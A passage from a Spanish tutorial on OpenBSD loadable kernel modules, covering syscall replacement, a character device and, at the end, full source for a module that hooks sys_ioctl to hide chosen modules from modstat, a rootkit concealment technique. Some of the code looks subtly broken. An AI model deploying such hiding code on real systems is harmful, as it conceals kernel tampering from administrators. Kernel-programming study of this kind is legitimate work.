umask, mkdir y exit. Tiene pinta que la syscall que crea el directorio en si es
la syscall "mkdir", pero como en otros casos podria no ser tan intuitivo, asi
que hacemos un "man 2 mkdir" y vemos si es esa o no... Al hacer el man, se ve
claramente que si, esa syscall es la que lo hace, por lo que tendriamos que
crear una syscall y ponerla en el offset de la syscall "mkdir". A efectos
practicos, modificar "mkdir". Esta syscall lo unico que deberia de hacer es:
1.- Sacar por la salida del kernel el mensaje.
2.- Llamar a la syscall mkdir de siempre.
De esta manera el directorio se crea igualmente y tenemos el mensajito.
Aqui tenemos el codigo del modulo...

/*** COMIENZO DEL PROGRAMA *** mimkdir.c *************************************/
/*
* Como siempre, las cabezeras...
*/
#include <sys/param.h>
#include <sys/systm.h>
#include <sys/syscall.h>
#include <sys/mount.h>
#include <sys/conf.h>
#include <sys/syscallargs.h>
#include <sys/exec.h>
#include <sys/lkm.h>
#include <sys/file.h>
#include <sys/filedesc.h>
#include <sys/errno.h>
#include <sys/proc.h>

/*
* Esto es una estructura con la que se indican los argumentos que va a
* manejar la syscall. En este caso, la syscall trabajara con una cadena que se
* llama "path" (que es el directorio a crear) y un int "mode" (que especifica,
* en decimal, los modos del directorio), si quieres cambiar los modos o algo,
* puedes pasarlo a octal, modificarlo, y volverlo a pasar a decimal o
* modificarlo directamente. De todas formas dudo que se vaya a usar el modulo,
* asi que no le voy a dar mas importancia al tema.
* Para ver lo que se le pasa a cada syscall hay que mirar en las paginas man
* de la syscall o en el /usr/include/sys/syscall.h, en donde vienen todas las
* syscall de OpenBSD con lo que devuelve y recibe cada syscall.
*/
struct la_syscall_argumentos {
syscallarg(const char *) path;
syscallarg(int) mode;
};


/*
* Bien, esta funcion es la syscall en si. La definicion de una syscall
* siempre es la misma, se define como una funcion estatica y que devuelve un
* entero, los argumentos tambien son los mismos. Las variables que quieras
* pasar a la syscall se especifican mediante la estructura que creamos antes
* y que meteremos posteriormente en la estructura "sysent" que luego
* definiremos y usaremos.
* Lo normal es que no te enteres de como va el tema hasta que termines de
* leer el ejemplo, pero es muy simple.
* Es muy importante declarar la funcion de la syscall asi y que devuelva un
* int. Cero si ha terminado bien y otra cosa si ha ido mal, generalmente -1.
* Para que la syscall devuelva algo utilizable se usa retval, mira en el
* ejemplo como funciona.
*/
static int
la_syscall (struct proc *p, void *v, register_t *retval)
{
struct la_syscall_argumentos *uap = v;
int ret;

printf("Llamada a mimkdir: %s,%d",SCARG(uap,path),SCARG(uap,mode));

ret=sys_mkdir(p,v,retval);

return ret;
}
/*
* Esta es la estructura "sysent" que mencionamos en el comentario de antes,
* el primer elemento, es el numero de variables que recibe la syscall,
* (recordad la estructura "la_syscall_argumentos"), pues el numero de
* elementos de esa estructura es el numero que hay que poner como primer
* elemento de esta estructura. El segudo elemento es el tamaño de la
* estructura de argumentos. El tercer argumento es un puntero a la funcion que
* hace de syscall.
*/
static struct sysent la_syscall_sysent = {
2,
sizeof(struct la_syscall_argumentos),
la_syscall
};

/*
* Tan simple como el resto, el primer argumento al llamar a la macro
* MOD_SYSCALL es el nombre de la syscall. El segundo es el offset de la
* syscall (si es una syscall nueva, es decir no quieres reemplazar a ninguna
* ya hecha, se pone "-1" para indicar que ocupe un offset libre. Y el tercer
* argumento es un puntero a la estructura "sysent", que en este caso, como
* se llamaba "la_syscall_sysent" pues ponemos "&la_syscall_sysent".
*/
MOD_SYSCALL( "mimkdir", SYS_mkdir, &la_syscall_sysent);

/*
* En la funcion entry point, llamada esta vez "mimkdir" tambien siempre se
* define de la misma forma y en su interior, al llamar a DISPATCH, en la funcion de
* carga, de descarga y de status, ponemos "lkm_nofunc" para especificar que no
* tiene que llamar a ninguna funcion, ya que hemos declarado el modulo como
* un modulo de tipo SYSCALL y de esta manera el solo vuelve a poner la syscall
* antigua en su offset.
*/
int mimkdir (struct lkm_table *lkmtp, int cmd, int ver)
{
DISPATCH(lkmtp, cmd, ver, lkm_nofunc, lkm_nofunc, lkm_nofunc)
}
/*** FIN DEL PROGRAMA ********************************************************/

Esto ha sido el segundo ejemplo, vamos a pasar del papel a la practica y
a ver como funciona el codigo en accion...

--> ramblo$ gcc -O2 -Wall -D_KERNEL -I/sys -c mimkdir.c
--> ramblo$ ld -r -o syscall.o mimkdir.o
--> ramblo# modload -o mimkdir -emimkdir syscall.o
--> Module loades as ID 0
--> ramblo# tail /var/log/messages
--> ...
--> Aug 20 12:32:21 ramblo /bsd: DDB symbols added 125748 bytes
--> ramblo# mkdir /home/prodix/lalala
--> ramblo# tail /var/log/messages
--> ...
--> Aug 20 12:32:29 ramblo /bsd: Llamada a mimkdir: /home/prodix/lalala

Bien este es el ejemplo, y como se puede ver, funciona bien. Siempre
que se modifique (cree) una syscall se va a seguir mas o menos el mismo
procedimiento, a veces, por supuesto sera (mucho, muchisimo) mas complicado.
Las complicaciones que se puede tener que me he ido encontrando yo, que
tengan que ver con la metodologia de programacion del kernel (no con problemas
puntuales de cierta syscall) es que una syscall se modifica, pero esa recibe
algo de otra syscal que tambien tienes que modificar para que lo que has
cambiado en la primera syscall sirva para algo... Problema? Si se declara el
modulo con MOD_SYSCALL solo se puede crear/modificar una syscall. Soluciones?
Se puede recurir a dos cosas. La primera solucion es hacer dos modulos con
MOD_SYSCALL (comda chapuza). La segunda es hacer un modulo con MOD_MISC (es lo
que se deberia hacer si se pretende hacer un modulo serio, pero la programacion
del modulo deja de ser tan simple y facil. (Porque, hablando en plata...
Hacerlo de antes seria una verdadera pollada).
Si hacemos dos modulos syscall, habria que cargarlos por separado y
consecuentemente, al hacer un modstat saldrian dos modulos, uno por cada
syscall, no me parece una buena idea, y aun que ciertamente es mucho mas comodo
no es nada elegante. Para ver un ejemplo nos esperaremos un poquito, por que
considero mas oportuno primero escribir sobre la creacion de dispositivos con
modulos lkm.

c) Tercer ejemplo, con MOD_DEV: "ejemplodev":
---------------------------------------------
Ahora vamos a probar con los modulos de tipo dispositivo, con uno de
tipo de "echo", es decir, el dispositivo saca por la salida del kernel lo que se
haya escrito en el.
Un dispositivo no es ni mas ni menos que un archivo que se utiliza como
interfaz entre los usuarios y el kernel y con unas propiedades especiales.
Vamos a programar las acciones a las que queremos que el modulo responda, (no es
necesiario asociar una funcion a cada cosa, en nuestro primer modulo solo
usaremos open-close read-write e ioctl)
Empezamos con el codigo del modulo y voy explicando...

/*** COMIENZO DEL PROGRAMA *** ejemplodev.c *************************************/
/*
* Cabezeras...
*/
#include <sys/param.h>
#include <sys/fcntl.h>
#include <sys/systm.h>
#include <sys/ioctl.h>
#include <sys/exec.h>
#include <sys/conf.h>
#include <sys/lkm.h>

#define ODREAD _IOR('O', 0, struct estructura_datos)
#define ODWRITE _IOW('O', 1, struct estructura_datos)

/*
* Si queremos que nos avise cuando se abre/cierra el dispositivo.
*/
//#define QUIET

/*
* Definimos el BUFFER para 100, suficiente.
*/
#define BUFFER 100

/*
* El dispositivo se comunica mediante una estructura de datos, en la que
* puedes meter todos los campos que quieras, en nuestro ejemplo con uno nos
* vale. Asi que definimos nuestro tipo de estructura como "estructura_datos" y
* nos creamos una.
*/
static struct estructura_datos {
char msg[BUFFER];
} pepe;

/*
* Esta es una macro que es la que hace que ejemplodev sea un dispositivo
* mediante llamadas a la macro dev_decl...
* #define dev_decl(n,t) __CONCAT(dev_type_,t)(__CONCAT(n,t))
*/
cdev_decl(ejemplodev);

/*
* Esta es la "estructura de acciones del dispositivo", la llamo asi por que
* como no hay nada de documentacion sobre LKM en OpenBSD excepto dos
* "intentos" de documentacion (y lo poco que hay solo trata FreeBSD) lo llamo
* como me parece. Espero que sea un buen nombre.. :D
* En la estructura se va llamando a la macro dev_init(1,nombre,accion) las
* entradeas pueden ser: open, close, read, write, ioctl, stop, tty, select,
* mmap y kqfilter. lkm.h ;)
*/
static struct cdevsw acciones = {
dev_init(1,ejemplodev,open),
dev_init(1,ejemplodev,close),
dev_init(1,ejemplodev,read),
dev_init(1,ejemplodev,write),
dev_init(1,ejemplodev,ioctl),
};

int ejemplodevopen(dev_t dev, int oflags, int devtype, struct proc *p) {
#ifndef QUIET
printf("Abriendo...\n");
#endif
return(0);
}

int ejemplodevclose(dev_t dev, int fflag, int devtype, struct proc *p) {
#ifndef QUIET
printf("Cerrando...\n");
#endif
return(0);
}

/*
* Esta es la funcion a la que se llama al leer. Lo que hace la funcion es ir
* metiendo en la cadena de estructura de datos lo que contenga el dispositivo
* en partes de 128 caracteres (el valor que tenga resid o la variable que sea
* al llamar a uiomove) hasta que o bien ya se ha leido todo (resid <= 0) o la
* llamada a uiomove, que es la funcion que se encarga de leer realmente, no
* haya devuelto un cero. Leyendo el codigo se aclara todo.
*/
int ejemplodevread(dev_t dev, struct uio *uio, int ioflag) {
int error = 0;
int resid = BUFFER;

do
{
if (uio->uio_resid < resid)
resid = uio->uio_resid;
error = uiomove(pepe.msg, resid, uio);
} while (resid > 0 && error == 0);

return(error);
}

/*
* Esta es la funcion a la que se llama cuando queremos escribir en el
* dispositivo y hace lo mismo que la funcion read solo que al principio borra
* lo que haya en ese momento en el dispositivo y que el efecto de la llamada a
* la funcion es el contrario.
*/
int ejemplodevwrite(dev_t dev, struct uio *uio, int ioflag){
int error = 0;
int resid = BUFFER;

bzero(&pepe.msg, BUFFER);

do
{
if (uio->uio_resid < resid)
resid = uio->uio_resid;
error = uiomove(pepe.msg, resid, uio);
} while (resid > 0 && error == 0);

return(error);
}

/*
* La funcion ioctl es tambien necesaria para que se pueda leer/escribir a/de
* un dispositivo. Conveniente man ioctl :)
*/
int ejemplodevioctl(dev_t dev, u_long cmd, caddr_t data, int fflag, struct proc *p) {
struct estructura_datos *d;
int error = 0;
switch(cmd) {
case ODREAD:
d = (struct estructura_datos *)data;
error = copyoutstr(&pepe.msg, d->msg, BUFFER - 1, NULL);
break;
case ODWRITE:
if ((fflag & FWRITE) == 0)
return(EPERM);
d = (struct estructura_datos *)data;
bzero(&pepe.msg, BUFFER);
error = copyinstr(d->msg, &pepe.msg, BUFFER - 1, NULL);
break;
default:
error = ENOTTY;
break;
}
return(error);
}

/*
* La funcion a la que se llama al cargar/descargar el modulo, ya se ha visto
* en otras ocasiones.
*/
int ejemplodev_handler(struct lkm_table *lkmtp, int cmd) {
struct lkm_dev *args = lkmtp->private.lkm_dev;
if (cmd == LKM_E_LOAD) {
strncpy(pepe.msg,"Aun no has escrito nada en el dispositivo.\n", BUFFER - 1);
#ifndef QUIET
printf("Cargando el %s\n", args->lkm_name);
#endif
}
if (cmd == LKM_E_UNLOAD) {
#ifndef QUIET
printf("Descargando el %s\n", args->lkm_name);
#endif
}
return 0;
}

/*
* La macro del dispositivo. El primer parametro es el nombre del modulo, el
* segundo es el tipo de dispositivo (LM_DT_CHAR o LM_DT_BLOCK) y el tercero
* es la estructura de las acciones del dispositivo.
*/
MOD_DEV("ejemplodev", LM_DT_CHAR, -1, &acciones)

/*
* Y la entry point, en su declaracion con los mismos parametros que siempre y
* con la llamada a la macro DISPATCH, igual que siempre. Esta vez usamos la
* misma funcion para cargar y descargar el modulo, a partir de aqui lo haremos
* siempre asi.
*/
int ejemplodev(struct lkm_table *lkmtp, int cmd, int ver) {
DISPATCH(lkmtp, cmd, ver, ejemplodev_handler, ejemplodev_handler, lkm_nofunc)
}

Este es el codigo del programa, vamos a probar el modulo a ver como va:

--> ramblo$ gcc -O2 -Wall -D_KERNEL -I/sys -c ejemplodev.c
--> ramblo$ ld -r -o modulo.o ejemplodev.o
--> ramblo# modload -o ejemplodev -eejemplodev modulo.o
--> Module loaded as ID 0
--> ramblo# tail /var/log/messages
--> ...
--> Aug 30 17:42:12 ramblo /bsd: Cargando el ejemplodev
--> Aug 30 17:42:12 ramblo /bsd: DDB symbols added: 125820 bytes
--> ramblo# modstat
--> Type Id Off Loadaddr Size Info Rev€Module Name
--> DEV 0 29 e0929000 0002 e092a040 2 ejemplodev

Por ahora sabemos que esta cargado... Anotaciones: el "Off" del modstat
cuando el modulos es para dispositivos es el major number del dispositivo
creado, por lo que ya tenemos la suficiente informacion para usar mknod para
crear el dispositivo (Al hacer el mknod se usa "c" si el dispositivo es de tipo
CHAR o "b" si es de tipo BLOCK):

--> ramblo# mknod -m 644 /dev/ejemplodev c 29 0
--> ramblo# ls -la /dev/ejemplodev
--> crw-r--r-- 1 root wheel 29, 0 Aug 30 18:35 /dev/ejemplodev

Bien, parece que ya esta, vamos a hacer una prueba...

--> ramblo# head -n 1 /dev/ejemplodev
--> Aun no has escrito nada en el dispositivo.
--> ramblo# echo "No se si funcionara..." > /dev/ejemplodev
--> ramblo# head -n 1 /dev/ejemplodev
--> No se si funcionara...

Vemos que read y write, funciona, para que se escriba de una forma mas
elegante, nos podriamos hacer un programa que llamase a ioctl y leyese o
escribiese con ioctl, pero eso ya se escapa al texto (Un ejemplo lo pondre en un
archivo de ejemplos con el texto)



- 5.- Ejemplos muy basicos de modulos -
-------------------------------------

Bien, ya sabemos como van los MOD_SYSCALL, los MOD_MISC y los MOD_DEV,
que son los mas utiles para propositos generales. Aqui hay otros ejemplos de
modulos basicos, pero "mas" interesantes que los anteriores que pueden nos
ayudaran para que los modulos empiecen a servir para algo. Como ya he dicho al
comienzo, este texto esta orientado para orientar, es decir, para "exponer la
forma con la que se hacen los modulos", por lo que no voy a hacer modulos de
ejemplo complicados. Solo hare los necesarios para que se entienda la mecanica,
no obstante, si alguien esta interesado en hacer algun modulo y tiene problemas,
que me mande un mail, que yo hare lo que pueda.


a) Primer ejemplo, usando MOD_MISC para crear/remplazar syscalls:
-----------------------------------------------------------------
Cuando se hace un modulo llamando a una macro que no sea la de
MOD_MISC, dicha macro hace algunas cosas para hacer mas facil la programacion,
(mas facil o automatica? xD). Esto lleva una perdida de control de lo que pasa,
y es posible que no queramos perderlo. Veamos como modificar una syscall usando
los MOD_MISC. Si, esta vez tampoco vamos a hacer nada util, solo vamos a hacer
lo que ya hizimos antes con MOD_SYSCALL, pero con MOD_MISC, es decir, vamos a
suplantar sys_mkdir. Lo siento por quienes querian que les metiese una backdoor
para OpenBSD en el texto, pero que la hagan ellos... xDD

/*** COMIENZO DEL PROGRAMA *** ejemplodev.c ***********************************/
/*
* Cabezeras...
*/
#include <sys/param.h>
#include <sys/ioctl.h>
#include <sys/proc.h>
#include <sys/systm.h>
#include <sys/conf.h>
#include <sys/mount.h>
#include <sys/exec.h>
#include <sys/lkm.h>
#include <sys/syscall.h>
#include <sys/syscallargs.h>


/*
* Guardamos la estructura para poder restaurar la syscall de antes de la
* modificacion, para cuando el modulo se descargue y queramos poner la antigua.
*/
static struct sysent mkdir_bck;

/*
* La estructura con los argumentos.
*/
struct argumentos {
syscallarg(const char *) path;
syscallarg(int) mode;
};

/*
* La syscall que sustituye a la mkdir.
*/
int
x_mkdir(struct proc *p, void *uap, int *retval)
{
struct argumentos *u=uap;
int ret;

/*
* SCARG, es una macro que como se puede ver, se le pasa una estructura de
* argumentos y un argumento dentro de la estructura y devuelve dicho argumento.
*/
printf("Creando: %s\n", SCARG(u, path));

/*
* Llama a la antigua syscall y retorna lo que retorne dicha syscall.
*/
ret = old_mkdir.sy_call(p, u, retval);
return ret;
}

MOD_MISC("joseadolfo")

static int
joseadolfo_handler(struct lkm_table *l, int cmd)
{
int err = 0;
switch(cmd)
{
case LKM_E_LOAD:
/*
* Hace una copia de la syscall mkdir "buena" en mkdir_bck y posteriormente,
* sustituye la buena por la de pega.
*/
bcopy(&sysent[SYS_mkdir], &mkdir_bck, sizeof(struct sysent));
sysent[SYS_mkdir].sy_call = x_mkdir;
break;
case LKM_E_UNLOAD:
/*
* Vuelve a asignar a sys_mkdir la syscall de origen y sale.
*/
bcopy(&mkdir_bck, &sysent[SYS_mkdir], sizeof(struct sysent));
break;
default:
err = EINVAL;
break;
}
return(err);
}

int joseadolfo
(struct lkm_table *l, int cmd, int ver)
{
DISPATCH(l, cmd, ver, joseadolfo_handler, joseadolfo_handler, lkm_nofunc);
}

/*** FIN DEL PROGRAMA ********************************************************/

Bien, no tiene mucho de nuevo, por lo que me ahorro demostrar que
funciona, y pasamos con algo mas interesante :)




b) Segundo ejemplo, usando MOD_MISC para esconder modulos:
-----------------------------------------------------------------
Este modulo es un modulo que crea un dispositivo y en funcion de lo que
se le diga por el dispositivo, esconde los modulos que sean o ninguno... Este
es el primer modulo que podemos utilizar para algo...
Lo primero es analizar el problema, lo que queremos es que no aparezcan
ciertos modulos cuando hacemos un modstat, por lo que lo primero es... Tracear
una ejecucion de modstat! Hacemos un ktrace a modstat y este es el resultado:

--> ramblo$ ktrace modstat
--> Type Id Off Loadaddr Size Info Rev Module Name
--> ramblo$ kdump -t c
--> ...
--> ...
--> ...
--> 11389 modstat CALL ioctl(0x3,_IOWR('K',0xb,0x20),0xdfbfdb08)
--> 11389 modstat RET ioctl -1 errno 22 Invalid argument
--> 11389 modstat CALL close(0x3)
--> 11389 modstat RET close 0
--> 11389 modstat CALL exit(0)
--> ramblo$

Hummm, ioctl? Aun no se, vamos a probar con un modulo cargado... Una
vez cargado un modulo...

--> ramblo$ ktrace modstat
--> Type Id Off Loadaddr Size Info Rev Module Name
--> MISC 0 0 e09b8000 0002 e09b9000 2 dummy
--> ramblo$ kdump -t c
--> ...
--> ...
--> ...
--> 7371 modstat CALL ioctl(0x3,_IOWR('K',0xb,0x20),0xdfbfdb1c)
--> 7371 modstat RET ioctl 0
--> 7371 modstat CALL write(0x1,0x5000,0x31)
--> 7371 modstat RET write 49/0x31
--> 7371 modstat CALL ioctl(0x3,_IOWR('K',0xb,0x20),0xdfbfdb1c)
--> 7371 modstat RET ioctl -1 errno 22 Invalid argument
--> 7371 modstat CALL close(0x3)
--> 7371 modstat RET close 0
--> 7371 modstat CALL exit(0)
--> ramblo$

Hummm, ahora se llama dos veces a ioctl y la primera (una vez), no da
error... Vamos a ver el codigo de modstat...

/*** CACHO DE CODIGO DEL MODSTAT *********************************************/
...
...
...

if (ioctl(devfd, LMSTAT, &sbuf) == -1) {
switch (errno) {
case EINVAL: /* out of range */
return 2;
case ENOENT: /* no such entry */
return 1;
default: /* other error (EFAULT, etc) */
warn("LMSTAT");
return 4;
}
}
...
...
...
/*****************************************************************************/

Si! Aqui se ve mas claro, tenemos que modificar sys_ioctl y que nuestro
sys_ioctl devuelva ENOENT en caso de que se compruebe la existencia del modulo
que nosotros queremos que no se vea... Asi que nada, hacemos un modulo que haga
esto, pero e la programacion del modulo nos encontraremos con una dificultad,
al cambiar sys_ioctl() nada, todo va bien, pero al volverla a poner como
estaba, el kernel peta... Por que? Al descargar el modulo se esta utilizando
sys_ioctl() para esto mientras que la estas modificando... Resultado? El kernel
peta :)
/* Aprovecho la ocasion para decir que el hangman del depurador mola xD */
Solucion? Hacer dos modulos. Uno que cambie sys_ioctl() por la nueva y
otro que la restaure (ugly y unloading_dummy)
A partir de aqui es solo ver la declaracion de ioctl y hacer como en
los modulos de antes, pero un pelin mas complicado... Aqui estan los ficheros
de los modulos que hacen todo.

/*** ugly.c ******************************************************************/
#include <sys/param.h>
#include <sys/ioctl.h>
#include <sys/systm.h>
#include <sys/conf.h>
#include <sys/mount.h>
#include <sys/exec.h>
#include <sys/lkm.h>
#include <sys/file.h>
#include <sys/errno.h>
#include <sys/syscall.h>
#include <sys/syscallargs.h>

/* Aqui tenemos algunas funciones de libc que vamos a usar en el modulo,
* porque en un modulo no podemos usar la libc real.
*/
#include "pseudo_libc.h"

//#define QUIET
#define DEBUG
#define BUFFER 256


int hacked_ioctl __P((struct proc *, void *, register_t *));

/*
* Esta es una estructura que va a usar el modulo para guardar lo que se haya
* leido por /dev/ugly :)
*/
struct information {
int lkma;
int lkmb;
} info;

/* La estructura de datos de este modulo se va a llamar juan, y el nombre del
* tipo, data_str.
*/
static struct data_str {
char msg[BUFFER];
} juan;

cdev_decl(ugly);
static struct cdevsw actions = {
dev_init(1,ugly,open),
dev_init(1,ugly,close),
dev_init(1,ugly,read),
dev_init(1,ugly,write),
dev_init(1,ugly,ioctl),
};

/*
* Device functions...
*/
int
uglyopen(dev_t dev, int oflags, int devtype, struct proc *p) {
#ifndef QUIET
#ifdef DEBUG
printf("Opening device...\n");
#endif
#endif
return(0);
}

int
uglyclose(dev_t dev, int fflag, int devtype, struct proc *p) {
#ifndef QUIET
#ifdef DEBUG
printf("Closing device...\n");
#endif
#endif
return(0);
}

int
uglyread(dev_t dev, struct uio *uio, int ioflag) {
int error = 0;
int rest = BUFFER;
do
{
if (uio->uio_resid < rest)
rest = uio->uio_resid;
error = uiomove(juan.msg, rest, uio);
} while (rest > 0 && error == 0);
return(error);
}

int
uglywrite(dev_t dev, struct uio *uio, int ioflag) {
int error = 0;
int resid = BUFFER;
char comando[256];
int i;
bzero(comando, 256);
bzero(&juan.msg, BUFFER);
if (uio->uio_resid < resid)
resid = uio->uio_resid;
error = uiomove(juan.msg, resid, uio);
x_strncat(comando, juan.msg, 256);

/*
* Realmente deberiamos usar sscanf() de la libc, pero para meterlo, habria
* que meter muchas mas cosas y se haria todo esto muy grande, por lo que he
* optado por no comerme el coco y elegir la solucion mas cutre, como solo
* tenemos dos opciones, lo hacemos mediante unos switch :P Lo que hace esto es
* interpretar lo que se ha leido del dispositivo (que pueden ser dos cosas
* seguidas de un numero) y lo mete en la estructura info que hicimos antes.
* Posteriormente usaremos los valores de la estructura para actuar en
* consecuencia a estos.
*/
if(comando[0]=='M')
{
if(comando[1]=='Y' && comando[2]=='L' && comando[3]=='K' && comando[4]=='M')
{
printf("Changing info.lkma...\n");
switch(comando[5])
{
case '0':
info.lkma=0;
break;
case '1':
info.lkma=1;
break;
case '2':
info.lkma=2;
break;
case '3':
info.lkma=3;
break;
case '4':
info.lkma=4;
break;
case '5':
info.lkma=5;
break;
case '6':
info.lkma=6;
break;
case '7':
info.lkma=7;
break;
case '8':
info.lkma=8;
break;
case '9':
info.lkma=9;
break;
default:
info.lkma=-1;
}
}
}
if(comando[0]=='O')
{
if(comando[1]=='T' && comando[2]=='L' && comando[3]=='K' && comando[4]=='M')
{
printf("Changing info.lkmb...\n");
switch(comando[5])
{
case '0':
info.lkmb=0;
break;
case '1':
info.lkmb=1;
break;
case '2':
info.lkmb=2;
break;
case '3':
info.lkmb=3;
break;
case '4':
info.lkmb=4;
break;
case '5':
info.lkmb=5;
break;
case '6':
info.lkmb=6;
break;
case '7':
info.lkmb=7;
break;
case '8':
info.lkmb=8;
break;
case '9':
info.lkmb=9;
break;
default:
info.lkmb=-1;
}
}
}

/*
* Saca por la salida del kernel el estado de las dos variables de la
* estructura info.
*/
printf("State: info.lkma = %d lkmb = %d\n", info.lkma, info.lkmb);

return(error);
}

uglyioctl(dev_t dev, u_long cmd, caddr_t data, int fflag, struct proc *p) {
struct data_str *d;
int error = 0;
switch(cmd) {
case _IOR('O', 0, struct data_str):
d = (struct data_str *)data;
error = copyoutstr(&juan.msg, d->msg, BUFFER - 1, NULL);
break;
case _IOW('O', 1, struct data_str):
if ((fflag & FWRITE) == 0)
return(EPERM);
d = (struct data_str *)data;
bzero(&juan.msg, BUFFER);
error = copyinstr(d->msg, &juan.msg, BUFFER - 1, NULL);
break;
default:
error = ENOTTY;
break;
}
return(error);
}


MOD_DEV ("ugly", LM_DT_CHAR, -1, &actions)

static int
ugly_load (struct lkm_table *lkmtp, int cmd) {
switch (cmd) {
case LKM_E_LOAD:
if (lkmexists(lkmtp))
return (EEXIST);
sysent[SYS_ioctl].sy_call = hacked_ioctl;

info.lkma = -1;
info.lkmb = -1;

break;
case LKM_E_UNLOAD:
/*
restoring sysent[SYS_ioctl].sys_call is done via an
evil hack. (see the Makefile)
*/
break;
default:
return (EINVAL);
}

return (0);
}

ugly (struct lkm_table *lkmtp, int cmd, int ver) {
DISPATCH (lkmtp, cmd, ver, ugly_load, ugly_load, lkm_nofunc)
}

/*** FIN DE ugly.c ***********************************************************/

/*** ioctl.c *****************************************************************/
#include <sys/param.h>
#include <sys/systm.h>
#include <sys/mount.h>
#include <sys/syscallargs.h>
#include <sys/ioccom.h>
#include <sys/conf.h>
#include <sys/exec.h>
#include <sys/lkm.h>


extern struct information {
int lkma;
int lkmb;
} info;

/*
* Esta es la version modificada de sys_ioctl() que hemos de modificar por la
* real.
*/
int
hacked_ioctl (p, v, retval)
struct proc *p;
void *v;
register_t *retval;
{
struct sys_ioctl_args /* {
syscallarg(int) fd;
syscallarg(u_long) com;
syscallarg(caddr_t) data;
} */ *uap = v;

/*
* Mirad la declaracion de lkm_stat, que para eso tenemos las cabezeras ahi. :P
*/
struct lmc_stat *statp;

if (SCARG(uap,com) == LMSTAT) {
printf("sys_ioctl(?, LMSTAT, ?) -> Called\n");
statp = SCARG(uap, data);

printf("State: info.lkma = %d info.lkmb = %d\n", info.lkma, info.lkmb);

printf("Is the ID like info.lkma (%d)? ---> ", info.lkma);

/*
* Si statp.id, que es el numero ID del modulo para el que se llama a
* sys_ioctl coincide con nuestra info.lkma o con info.lkmb, retorna ENOENT
* que como vimos en la traza de modstat, es lo que devuelve sys_ioctl cuando
* no hay mas modulos.
*/
if (statp->id == info.lkma)
{
/* basic hiding, could/should be improved */
printf("Yes! ID: %d\n", statp->id);
return ENOENT;
}
else
{
printf("No.\nIs the ID like info.lkmb (%d)? ---> ", info.lkmb);

if (statp->id == info.lkmb)
{
/* basic hiding, could/should be improved */
printf("Yes! ID: %d\n", statp->id);
return ENOENT;
}
else
{
printf("No.\nNot hidding...\n");
}
}
printf("statp->id was %d\n", statp->id);
}

/*
* De no ser asi, simplemente llama a la sys_ioctl de siempre.
*/

return (sys_ioctl(p, v, retval));
}
/*** FIN DE ioctl.c **********************************************************/

/*** unloading_dummy/unloading_dummy.c ***************************************/
/*
* Este es el modulo que descarga el otro modulo.
*/
#include <sys/param.h>
#include <sys/ioctl.h>
#include <sys/systm.h>
#include <sys/conf.h>
#include <sys/mount.h>
#include <sys/exec.h>
#include <sys/lkm.h>
#include <sys/file.h>
#include <sys/errno.h>
#include <sys/syscall.h>
#include <sys/syscallargs.h>

MOD_MISC ("unloading_dummy")

static int
unloading_dummy_load (struct lkm_table *lkmtp, int cmd) {
switch (cmd) {
case LKM_E_LOAD:
if (lkmexists(lkmtp))
return (EEXIST);
/* Al cargarse este modulo descarga el otro :D */
sysent[SYS_ioctl].sy_call = sys_ioctl;

break;
case LKM_E_UNLOAD:
break;
default:
return (EINVAL);
}

return (0);
}

unloading_dummy (struct lkm_table *lkmtp, int cmd, int ver) {
DISPATCH (lkmtp, cmd, ver, unloading_dummy_load, unloading_dummy_load, lkm_nofunc)
}
/*** FIN DE unloading_dummy/unloading_dummy.c ********************************/


/*** pesudo_libc.h ***********************************************************/
/*
* Estas son algunas de las funciones de libc que necesitaba para el modulo.
* Son copias *directas* del codigo de OpenBSD.
*/
#include <string.h>
#include <unistd.h>

#include "config.h"

/* STRNCMP */
int
x_strncmp(s1, s2, n)
register const char *s1, *s2;
register size_t n;
{
if (n == 0)
return (0);
do {
if (*s1 != *s2++)
return (*(unsigned char *)s1 - *(unsigned char *)--s2);
if (*s1++ == 0)
break;
} while (--n != 0);
return (0);
}

/* STRNCAT */
char *
x_strncat(dst, src, n)
char *dst;
const char *src;
register size_t n;
{
if (n != 0) {
register char *d = dst;
register const char *s = src;

while (*d != 0)
d++;
do {
if ((*d = *s++) == 0)
break;
d++;
} while (--n != 0);
*d = 0;
}
return (dst);
}
/* STRSTR */
char *
x_strstr(s, find)
register const char *s, *find;
{
register char c, sc;
register size_t len;

if ((c = *find++) != 0) {
len = strlen(find);
do {
do {
if ((sc = *s++) == 0)
return (NULL);
} while (sc != c);
} while (strncmp(s, find, len) != 0);
s--;
}
return ((char *)s);
}
/*** FIN DE pseudo_libc.h ****************************************************/

/*** Makefile ****************************************************************/
#Este es el Makefile principal.
CFLAGS+=-D_KERNEL -I/sys

all: ugly_mod.o unloader
clean:
rm -f ugly.o ioctl.o ugly_mod.o ugly && \
cd unloading_dummy && \
make clean
load:
modload -o ugly -eugly ugly_mod.o
sh makedev.sh
unload:
cd unloading_dummy && \
make load && \
make unload
modunload -n ugly
unloader:
cd unloading_dummy && \
make
device:
sh makedev.sh
ugly_mod.o: ugly.o ioctl.o unloader
ld -r -o ugly_mod.o ugly.o ioctl.o

/*** FIN DE Makefile *********************************************************/

/*** makedev.sh **************************************************************/
#!/bin/sh
# Crea el dispositivo de comunicacion con el kernel.

# Cambiar por el Off del modstat
MAJOR=29
mknod -m 644 /dev/ugly c $MAJOR 0
ls -l /dev/ugly

/*** FIN DE makedev.sh *******************************************************/

/*** unloading_dummy/Makefile ************************************************/
# Este es el Makefile de unloading_dummy
CFLAGS+=-D_KERNEL -I/sys

all: unloading_dummy_mod.o
clean:
rm -f unloading_dummy.c unloading_dummy_mod.o unloading_dummy
load:
modload -o unloading_dummy -eunloading_dummy unloading_dummy_mod.o
unload:
modunload -n unloading_dummy
unloading_dummy_mod.o: unloading_dummy.o
ld -r -o unloading_dummy_mod.o unloading_dummy.o

/*** FIN DE unloading_dummy/Makefile *****************************************/

Ya esta! Como hay un poco de lio con los archivos los listo para que
quede todo claro y hago una demostracion del modulo en accion :D
--> ramblo$ pwd
--> /home/prodix/devel/modulos/ugly
--> ramblo$ ls -lF
--> total 22
--> -rw-r--r-- 1 prodix prodix 539 Nov 24 14:12 Makefile
--> -rw-r--r-- 1 prodix prodix 1276 Nov 30 17:03 ioctl.c
--> -rwxr-xr-x 1 prodix prodix 115 Nov 24 14:12 makedev.sh*
--> -rw-r--r-- 1 prodix prodix 960 Nov 24 12:45 pseudo_libc.h
--> -rw-r--r-- 1 prodix prodix 4159 Nov 30 17:00 ugly.c
--> drwxr-xr-x 2 prodix prodix 512 Nov 30 20:56 unloading_dummy/
--> ramblo$ cd unloading_dummy
--> ramblo$ ls -lF
--> total 4
